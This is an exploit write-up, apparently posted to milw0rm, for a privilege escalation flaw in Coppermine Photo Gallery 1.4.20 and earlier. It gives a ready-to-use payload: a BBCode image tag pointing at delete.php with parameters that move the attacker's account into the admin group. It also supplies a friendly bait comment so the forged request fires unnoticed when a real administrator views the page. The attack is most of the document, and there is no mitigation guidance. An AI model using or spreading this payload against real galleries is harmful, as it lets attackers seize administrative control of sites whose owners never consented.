Coppermine Photo Gallery <= 1.4.20 (BBCode IMG) Privilege Escalation PoC

by Juri Gianni aka yeat - staker[at]hotmail[dot]it
http://coppermine-gallery.net
Don't add me on msn messenger.
This vulnerability can be named as "bbcode img tag script injection"

Proof of Concept (an example,to understand it)

URL: http://[host]/[path]/delete.php?id=u[ID]&u[ID]=&action=change_group&what=user&new_password=&group=1&delete_files=no&delete_comments=no
[img]URL[/img]

Modify [ID] with your user id.
Go http://[host]/[path]/displayimage.php?album=random&pos=[album id]

Insert the below code into a new message

hey admin,nice web site :)
[img]http://[host]/[path]/delete.php?id=u3&u3=&action=change_group&what=user&new_password=&group=1&delete_files=no&delete_comments=no[/img]


The fake image doesn't show errors,you'll see "hey admin,nice web site". You'll become admin when the real admin will visit the page.


# milw0rm